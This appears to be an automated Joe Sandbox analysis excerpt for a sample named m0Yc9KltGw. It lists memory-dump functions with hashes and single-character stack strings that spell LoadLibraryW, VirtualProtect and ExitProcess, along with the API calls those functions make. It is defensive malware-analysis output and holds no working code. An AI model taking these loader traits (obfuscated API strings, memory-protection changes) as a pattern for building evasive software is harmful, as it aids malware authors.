r, xrefs: 02962408
o, xrefs: 029623DE
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-3437435223
Opcode ID: 7feecd47ef524e7802b5d4867b31cab3804689f910d934b41af9d4f821d4ee77
Instruction ID: 18bf6c88944523e1acfef5c39e3d099e716b566e9fe0d771e8772516229ab6b3
Opcode Fuzzy Hash: 7feecd47ef524e7802b5d4867b31cab3804689f910d934b41af9d4f821d4ee77
Instruction Fuzzy Hash: C1F10671D092A48BE7208764DC587EABFB5AF91310F0440FAC44D67281D67A5FD6CFA2

Function 02961751 Relevance: 52.9, APIs: 1, Strings: 29, Instructions: 414COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-3437435223
Opcode ID: 1035d3dd130e00952cec775d506ed0d9aaa0f903075b395e960ea168f98e97eb
Instruction ID: 35e5ab084cd7be393b2a020972a8eec9c2981d8cdb03ca4716ba6274a4328532
Opcode Fuzzy Hash: 1035d3dd130e00952cec775d506ed0d9aaa0f903075b395e960ea168f98e97eb
Instruction Fuzzy Hash: 30F11971D092A48AE7208764DC587EABFB5AF91310F0440FAC48D67281D67E5BD6CFA2

Function 029617BB Relevance: 52.9, APIs: 1, Strings: 29, Instructions: 407COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
6A2P, xrefs: 02961A28
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 6A2P$F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-3437435223
Opcode ID: 8c9544f18fb1405399ccadd22fe28842a1bc6f611cdff5d8b8e79ec41441f148
Instruction ID: 5423523a47fa3e50a9e9bde5b13aecf503817ebbe0d84aa13055033b614c3309
Opcode Fuzzy Hash: 8c9544f18fb1405399ccadd22fe28842a1bc6f611cdff5d8b8e79ec41441f148
Instruction Fuzzy Hash: 89F119B1D092A48AE7208764DC587EABFB5AF91310F0440FAC44D67281D67E5FD6CFA2

Function 0296167D Relevance: 52.9, APIs: 1, Strings: 29, Instructions: 388COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
Q, xrefs: 02961686
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: F2=:$JMI:$L$L$P$Q$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-1625077675
Opcode ID: 7f1b33414e2a7791d3d800da4392e6b715e5d862f5480093d9c0330ca0bba250
Instruction ID: 047c1a53214b774ccd5f0dc55c26d04468d234c399aa2b1b25797c2473daef5e
Opcode Fuzzy Hash: 7f1b33414e2a7791d3d800da4392e6b715e5d862f5480093d9c0330ca0bba250
Instruction Fuzzy Hash: DFE119B1D092A48AE7208764DC187EABFB5AF91310F0441FAC48D67681D67E4FD5CFA2

Function 0296123B Relevance: 51.1, APIs: 1, Strings: 28, Instructions: 384COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-4161312708
Opcode ID: c79cec867c89a9c2a28cdd1acf59e103ce9dc7b7538d34d528461ed01ed3e7e3
Instruction ID: 0e0e23d670f01d3500df2a0f3c1637fa78a805c859d8d0aa73865cbc9e2feab3
Opcode Fuzzy Hash: c79cec867c89a9c2a28cdd1acf59e103ce9dc7b7538d34d528461ed01ed3e7e3
Instruction Fuzzy Hash: 04E13AB1D092A48AE7208764DC58BEA7FB5AF91310F0441FAC84D67281D67E4FD5CFA2

Function 02961261 Relevance: 51.1, APIs: 1, Strings: 28, Instructions: 373COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-4161312708
Opcode ID: 57c12ce5f3dda49e19c7de8a25667848688963a211dcf80c906533ae7ee2d5fe
Instruction ID: 4639fc3d27c4c8c1971e834b8518429425903c79d60c0106529cfbf85fc9f3e8
Opcode Fuzzy Hash: 57c12ce5f3dda49e19c7de8a25667848688963a211dcf80c906533ae7ee2d5fe
Instruction Fuzzy Hash: 88E119B1D092A48AE7208764DC587EABFB5AF91310F0441FAC84D67281D67E4FD5CFA2

Function 02961D82 Relevance: 51.1, APIs: 1, Strings: 28, Instructions: 370COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-4161312708
Opcode ID: bc71020153b4cc03191988b72ad6a6e48db4408f430abbc68f194394c01f58be
Instruction ID: 01d1e79294988f08435f6c0245dca90a19addb368255d04eebb25083565b2e0d
Opcode Fuzzy Hash: bc71020153b4cc03191988b72ad6a6e48db4408f430abbc68f194394c01f58be
Instruction Fuzzy Hash: 22E117B1D092A48AE7208764DC587EABFB5AF91310F0441FAC84D67281D67A4FD5CFA2

Function 02961ACF Relevance: 51.1, APIs: 1, Strings: 28, Instructions: 368COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-4161312708
Opcode ID: 562ee0a9e16468c19f621318af301135f1ac1e8067ae1d4847febf4028a94b25
Instruction ID: a78a3b80115a7101d7063a0e83ae7a163adac27f7e1d5f7f425525330b9c9b92
Opcode Fuzzy Hash: 562ee0a9e16468c19f621318af301135f1ac1e8067ae1d4847febf4028a94b25
Instruction Fuzzy Hash: 16E118B1D082A48AE7208764DC487EABFB5AF91310F0441FAC84D67281D67E4FD5CFA2

Function 02961B01 Relevance: 51.1, APIs: 1, Strings: 28, Instructions: 368COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-4161312708
Opcode ID: b370238d9c1c6155e62db8f23c36a453e78173aa37261168ab0ed93b3aa38028
Instruction ID: 91102a97f7a3cbf82c3abf8175a886db3185fb1f7bada92ac5460fdd4d9cd9e3
Opcode Fuzzy Hash: b370238d9c1c6155e62db8f23c36a453e78173aa37261168ab0ed93b3aa38028
Instruction Fuzzy Hash: EAE118B1D092A48AE7208764DC587EABFB5AF91310F0440FAC84D67281D67E4FD5CFA2

Function 02961B26 Relevance: 51.1, APIs: 1, Strings: 28, Instructions: 368COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-4161312708
Opcode ID: eee8b2b694be5c309b6d826c2faae360534674e72ccf22f1e780ff340de53992
Instruction ID: 064e50fef4fd8482fa6f8a05c8644f483d5ca0d24396488b9ccd6b5abeee0120
Opcode Fuzzy Hash: eee8b2b694be5c309b6d826c2faae360534674e72ccf22f1e780ff340de53992
Instruction Fuzzy Hash: D1E118B1D082A48AE7208764DC487EABFB5AF91310F0440FAC84D67281D67E4FD5CFA2

Function 0296127A Relevance: 51.1, APIs: 1, Strings: 28, Instructions: 367COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 0-4161312708
Opcode ID: 7988984f3dc47c4002ca8669797a1ad53eabb78dac11d9b075d46dd1f3a7cd42
Instruction ID: 225a2b7df921d0a6d6184e751bf48fd11195b27a668c3b463601ea67b1b4b96c
Opcode Fuzzy Hash: 7988984f3dc47c4002ca8669797a1ad53eabb78dac11d9b075d46dd1f3a7cd42
Instruction Fuzzy Hash: 39E128B1D092A48AE7208764DC587EABFB5AF91310F0441FAC84D67281D67E4FD5CFA2

Function 02961E67 Relevance: 51.1, APIs: 1, Strings: 28, Instructions: 309COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 544645111-4161312708
Opcode ID: 1ebc30513771bddca9ba43c076931fed6e5ff9ddaaded22cb6b94fd2e985b934
Instruction ID: 0e376c73619000ded8e696b270b04555b36663f2b434fbae0dfdfd0e6782e5c4
Opcode Fuzzy Hash: 1ebc30513771bddca9ba43c076931fed6e5ff9ddaaded22cb6b94fd2e985b934
Instruction Fuzzy Hash: 84C1F771D086A88AE720C764DC587EABFB6AF95310F0440F9C84C67281D67A1FD5CFA2

Function 02961E91 Relevance: 51.0, APIs: 1, Strings: 28, Instructions: 298COMMON

Download Yara Rule

Strings

V, xrefs: 02961F19
i, xrefs: 029623FA
JMI:, xrefs: 02962004
c, xrefs: 02961F6D
t, xrefs: 02961F5F
l, xrefs: 02961F43
b, xrefs: 02962401
W, xrefs: 02962424
r, xrefs: 02962416
a, xrefs: 0296240F
r, xrefs: 02961F27
e, xrefs: 02961F66
r, xrefs: 02961F51
L, xrefs: 029623D7
y, xrefs: 0296241D
o, xrefs: 02961F58
u, xrefs: 02961F35
t, xrefs: 02961F2E
t, xrefs: 02961F74
a, xrefs: 02961F3C
a, xrefs: 029623E5
i, xrefs: 02961F20
r, xrefs: 02962408
o, xrefs: 029623DE
P, xrefs: 02961F4A
d, xrefs: 029623EC
L, xrefs: 029623F3
F2=:, xrefs: 02961FED

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: F2=:$JMI:$L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
API String ID: 544645111-4161312708
Opcode ID: 59a0f888a9df304dc0e7c807ba1b59d0da9cd931a960d0f62add6b4897108e4c
Instruction ID: 76c6b14e936ad9121e443b3f3eaa9ab231ad884e3ad6d4aa4777d2cb6c7e5bd6
Opcode Fuzzy Hash: 59a0f888a9df304dc0e7c807ba1b59d0da9cd931a960d0f62add6b4897108e4c
Instruction Fuzzy Hash: 2FC1E671D086A48AE720C764DC587DABFB6AF91310F0441F9C88C67281D67A1FD5CFA6

Function 02923A08 Relevance: 49.4, APIs: 2, Strings: 26, Instructions: 446libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
W, xrefs: 02923D7F
y, xrefs: 02923D78
a, xrefs: 02923D40
d, xrefs: 02923D47
b, xrefs: 0292517E
i, xrefs: 02923D55
b, xrefs: 02923D5C
d, xrefs: 02925169
o, xrefs: 0292515B
y, xrefs: 0292519A
L, xrefs: 02923D4E
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02923D71
r, xrefs: 02923D63
r, xrefs: 02925185
L, xrefs: 02923D32
r, xrefs: 02925193
o, xrefs: 02923D39
a, xrefs: 02923D6A
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$L$L$W$W$[P$a$a$a$a$b$b$d$d$i$i$o$o$r$r$r$r$y$y
API String ID: 1029625771-1399067253
Opcode ID: 5136844cc4baa6288b4b016ff199dcc20e44e2345badd248cd282e038e43aa6c
Instruction ID: d184454afece2de9991f7b9938dc62eae39b4255f16dce9c35feac04c5b9e938
Opcode Fuzzy Hash: 5136844cc4baa6288b4b016ff199dcc20e44e2345badd248cd282e038e43aa6c
Instruction Fuzzy Hash: BB0225A1D046A48BFB258B24CC44BEABB75FF91300F0481FAC44DA7281DA794BC5CF66

Function 02923831 Relevance: 49.4, APIs: 2, Strings: 26, Instructions: 443libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
W, xrefs: 02923D7F
y, xrefs: 02923D78
a, xrefs: 02923D40
d, xrefs: 02923D47
b, xrefs: 0292517E
i, xrefs: 02923D55
b, xrefs: 02923D5C
d, xrefs: 02925169
o, xrefs: 0292515B
y, xrefs: 0292519A
L, xrefs: 02923D4E
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02923D71
r, xrefs: 02923D63
r, xrefs: 02925185
L, xrefs: 02923D32
r, xrefs: 02925193
o, xrefs: 02923D39
a, xrefs: 02923D6A
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$L$L$W$W$[P$a$a$a$a$b$b$d$d$i$i$o$o$r$r$r$r$y$y
API String ID: 1029625771-1399067253
Opcode ID: cb30956cddb763a2ec060f4b16e902bf384e2be54539d29310f86b754b994253
Instruction ID: fb162758af7a8cb9692fb64da501013eed427e29b14b8a674a374ac8ab228b90
Opcode Fuzzy Hash: cb30956cddb763a2ec060f4b16e902bf384e2be54539d29310f86b754b994253
Instruction Fuzzy Hash: 3602F761D086A48BF7258B24DC44BAA7B75FF91300F0490F9C48DA7285DA7A4FC5CF66

Function 02923840 Relevance: 49.4, APIs: 2, Strings: 26, Instructions: 432libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 02924C5D
LoadLibraryW.KERNELBASE(?), ref: 02924C7A

Strings

L, xrefs: 02925170
=K:3, xrefs: 02925071
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
W, xrefs: 02923D7F
y, xrefs: 02923D78
a, xrefs: 02923D40
d, xrefs: 02923D47
b, xrefs: 0292517E
i, xrefs: 02923D55
b, xrefs: 02923D5C
d, xrefs: 02925169
o, xrefs: 0292515B
y, xrefs: 0292519A
L, xrefs: 02923D4E
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02923D71
r, xrefs: 02923D63
r, xrefs: 02925185
L, xrefs: 02923D32
r, xrefs: 02925193
o, xrefs: 02923D39
a, xrefs: 02923D6A
a, xrefs: 0292518C

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: LibraryLoad
String ID: =K:3$L$L$L$L$W$W$[P$a$a$a$a$b$b$d$d$i$i$o$o$r$r$r$r$y$y
API String ID: 1029625771-1399067253
Opcode ID: 8a52337a33631ce5c80dfe416444cee649e29e228a02ef3f1201daa9f7522981
Instruction ID: d5a6742c3ce53ee61452d80af223449a71c8a68ed9bb2ad1095218c6826cbbaa
Opcode Fuzzy Hash: 8a52337a33631ce5c80dfe416444cee649e29e228a02ef3f1201daa9f7522981
Instruction Fuzzy Hash: 8E02F661D086A88BF7258B24DC447AA7BB5FF91300F0490F9C48DA7285DA7A4FC5CF66

Function 0041C24C Relevance: 44.1, APIs: 1, Strings: 24, Instructions: 317memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000020,?), ref: 0041D1C7

Strings

d, xrefs: 0041C283
R, xrefs: 0041E7E4
i, xrefs: 0041C291
P, xrefs: 0041E747
L, xrefs: 0041C28A
b, xrefs: 0041C298
i, xrefs: 0041E739
t, xrefs: 0041E740
y, xrefs: 0041C2B4
s, xrefs: 0041E76A
s, xrefs: 0041E771
x, xrefs: 0041E732
r, xrefs: 0041E74E
e, xrefs: 0041E763
o, xrefs: 0041C275
L, xrefs: 0041C26E
r, xrefs: 0041C29F
o, xrefs: 0041E755
r, xrefs: 0041C2AD
W, xrefs: 0041C2BB
a, xrefs: 0041C27C
a, xrefs: 0041C2A6
E, xrefs: 0041E72B
c, xrefs: 0041E75C

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID: E$L$L$P$R$W$a$a$b$c$d$e$i$i$o$o$r$r$r$s$s$t$x$y
API String ID: 544645111-1986278618
Opcode ID: b090434325a858ee1c24148d1302dd21144cba8dc5716073d56a8d18fe1264aa
Instruction ID: 23123e0cd56b6c439899f8556c250b4bbb9f1384fc39511248e3eab8c9194c82
Opcode Fuzzy Hash: b090434325a858ee1c24148d1302dd21144cba8dc5716073d56a8d18fe1264aa
Instruction Fuzzy Hash: D8C126B1C042A48AF7208715DC88BFBBBB5EB41314F0481FAD84D66281D6BD5FC58F66

Function 0292628B Relevance: 41.0, APIs: 1, Strings: 26, Instructions: 542COMMON

Download Yara Rule

Strings

W, xrefs: 02926723
o, xrefs: 029266DD
y, xrefs: 02927AE7
L, xrefs: 029266F2
r, xrefs: 02926707
L, xrefs: 02927ABD
a, xrefs: 02927AAF
a, xrefs: 0292670E
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
L, xrefs: 02927AA1
L, xrefs: 029266D6
a, xrefs: 029266E4
r, xrefs: 02927AE0
S, xrefs: 029276A6
d, xrefs: 029266EB
i, xrefs: 029266F9
W, xrefs: 02927AEE
>NN, xrefs: 0292628B
i, xrefs: 02927AC4
b, xrefs: 02927ACB

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

